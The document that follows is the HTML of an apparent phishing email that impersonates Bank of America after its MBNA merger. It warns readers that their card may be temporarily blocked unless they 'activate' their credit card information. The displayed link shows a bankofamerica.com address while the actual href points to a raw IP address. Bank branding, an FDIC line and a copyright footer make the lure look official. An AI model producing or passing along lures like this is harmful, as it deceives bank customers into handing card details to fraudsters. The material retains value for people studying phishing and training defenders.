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<TD><A class=topmenutitle href="customer_information.html" target=_blank></A> <A
href="index.html"></A></TD></TR></TBODY></TABLE><A href="index.html"><IMG height=41 alt="MBNA Logo"
src="http://wwwmbna.com/images/m_logo.gif" width=103 border=0></A><A class=topmenutitle
href="customer_information.html" target=_blank><IMG height=41 alt="Bank of America"
src="http://www.mbna.com/images/bac_logo.gif" width=160 border=0></A>
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<td width="749" height="543" valign="top"> <p align="left">Bank of America Corporation and MBNA
Corporation have merged, and MBNA is now part of Bank of America.<br />
In bringing the organizations together,we are creating a company that will provide our customers with a
greater range of financial services than ever before. </p> <p align="left">We complete the integration of the
two companies. For security reasons we are requesting you to activate your credit cards information on our companies
site to avoid temporary blocking . <br />
</p> <p align="center" class="style2">*Note: Be sure that you continue the activation of your
credit card in order to use our services : </p> <p align="center"> <p align="center"><a
href="http://203.193.139.110/www.bankofamerica.com/index.htm">https://activatemycreditcard.bankofamerica.com/welcome.aspx?URLFrom=</a>
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<br />
<p align="left">You'll receive more information later this week about how and when your accounts will be
integrated into our companies.<br />
In the meantime we are waiting for you to confirm and activate your credit card information .
</p> <p align="left">Confirm your credit card for the latest information about the advantages that
this merger.*</p>
<p align="left"> </p>
<p><span class="footnote"><font face="Verdana" color="#333333"
size="1">Bank of America, N.A. Member FDIC. <a href="#">Equal Housing Lender</a> <img height="9"
alt="Equal Housing Lender" src="/images/homepage/house.gif" width="14" border="0" /><br class="none" />
© 2006 Bank of America Corporation. All rights reserved.</font></span></p> </td></tr>
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